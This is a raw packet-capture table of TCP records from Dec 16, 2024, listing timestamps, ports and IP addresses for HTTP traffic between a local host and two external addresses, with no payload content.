Dec 16, 2024 17:02:28.582741976 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.582853079 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.582866907 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.582901955 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.582918882 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.583177090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.583218098 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.583560944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.583604097 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.583702087 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.583714008 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.583749056 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.583880901 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.583928108 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.584263086 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.584311008 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.584367037 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.584378958 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.584414005 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.584698915 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.584748983 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.585042000 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.585087061 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.585118055 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.585139036 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.585160017 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.585175991 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.585524082 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.585571051 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.585933924 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.585983038 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.586076021 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.586087942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.586119890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.586414099 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.586456060 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.586671114 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.586714983 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.586776018 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.586819887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.586888075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.586900949 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.586930037 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.586949110 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.587580919 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.587625027 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.587778091 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.587822914 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.587990046 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.588001966 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.588035107 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.588618994 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.588666916 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.588860989 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.588874102 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.588901997 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.588913918 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.589238882 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.589283943 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.589576006 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.589622974 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.589658022 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.589668989 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.589704037 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.618441105 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.618628025 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.618680954 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.623250008 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.663146019 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.672218084 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.672296047 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.672580957 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.739826918 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.783767939 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.783953905 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.792982101 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.792999983 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.793052912 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.904393911 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.904413939 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.904485941 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.912610054 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.912626028 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.912775993 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.024216890 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.024235010 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.024246931 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.024260998 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.024317980 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.024401903 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.024487972 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.024499893 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.024509907 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.024568081 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.025260925 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.025274038 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.025284052 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.025327921 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.025352955 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.026031971 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.026045084 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.026056051 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.026067972 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.026099920 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.026124954 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.026818991 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.026832104 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.026842117 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.026901007 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.027576923 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.027637959 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.027648926 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.027695894 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.027695894 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.028423071 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.028435946 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.028445959 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.028458118 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.028496027 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.028521061 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.029266119 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.029284000 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.029294968 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.029334068 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.030009985 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.030023098 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.030033112 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.030075073 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.030100107 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.030710936 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.030744076 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.030755043 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.030765057 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.030797958 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.030827045 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.031537056 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.031549931 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.031560898 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.031599045 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.032426119 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.032442093 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.032450914 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.032461882 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.032476902 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.032529116 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.033353090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.033365965 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.033416033 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.033862114 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.033878088 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.033889055 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.033902884 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.033906937 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.033950090 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.034486055 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.034497976 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.034508944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.034533978 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.034564972 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.035217047 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.035254955 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.035267115 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.035306931 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.035320044 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.036092997 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.036104918 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.036115885 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.036127090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.036165953 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.036206961 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.036866903 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.036879063 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.036890030 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.036925077 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.036957026 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.037625074 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.037636995 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.037647009 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.037691116 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.037705898 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.038418055 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.038430929 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.038440943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.038451910 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.038476944 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.038517952 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.039233923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.039246082 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.039257050 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.039304018 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.039320946 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.040044069 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.040056944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.040067911 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.040108919 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.040132046 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.040790081 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.040802002 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.040812969 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.040824890 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.040837049 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.040864944 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.040877104 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.041588068 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.041613102 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.041624069 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.041644096 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.041661978 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.042377949 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.042391062 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.042401075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.042433023 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.042459011 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.043184996 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.043196917 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.043207884 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.043217897 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.043234110 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.043271065 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.044001102 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.044017076 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.044028997 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.044044018 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.044071913 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.044761896 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.044775009 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.044785023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.044821978 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.045516968 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.045555115 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.045567036 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.045568943 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.045578003 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.045603991 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.045614004 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.046353102 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.046365976 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.046376944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.046421051 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.046462059 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.047118902 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.047131062 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.047141075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.047183037 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.047220945 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.047873020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.047908068 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.047919035 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.047928095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.047957897 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.047997952 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.048717022 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.048754930 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.048767090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.048804045 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.048815012 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.049536943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.049547911 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.049559116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.049602985 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.049623013 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.050343990 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.050358057 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.050368071 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.050379038 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.050394058 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.050435066 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.051160097 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.051172018 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.051182985 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.051204920 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.051235914 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.052165031 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.052177906 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.052187920 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.052208900 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.052232027 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.053150892 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.053163052 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.053174019 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.053184986 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.053198099 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.053220034 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.054011106 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.054027081 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.054039001 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.054058075 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.054069996 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.054091930 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.055417061 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.055430889 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.055442095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.055490971 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.055533886 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.056020975 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.056035042 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.056045055 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.056056976 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.056082964 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.056122065 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.056902885 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.056941032 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.056952953 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.056963921 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.057001114 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.057004929 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.057020903 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.057719946 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.057755947 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.057766914 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.057792902 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.058794022 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.058840990 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.058852911 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.058852911 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.058864117 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.058887005 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.059587002 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.059600115 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.059611082 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.059634924 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.059664011 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.060422897 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.060436010 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.060446978 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.060480118 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.060930967 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.060981035 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.060981989 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.060993910 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.061006069 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.061053991 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.061055899 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.061649084 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.061661005 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.061672926 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.061696053 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.061723948 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:29.062108994 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:29.062160969 CET	80	49712	31.41.244.11	192.168.2.8
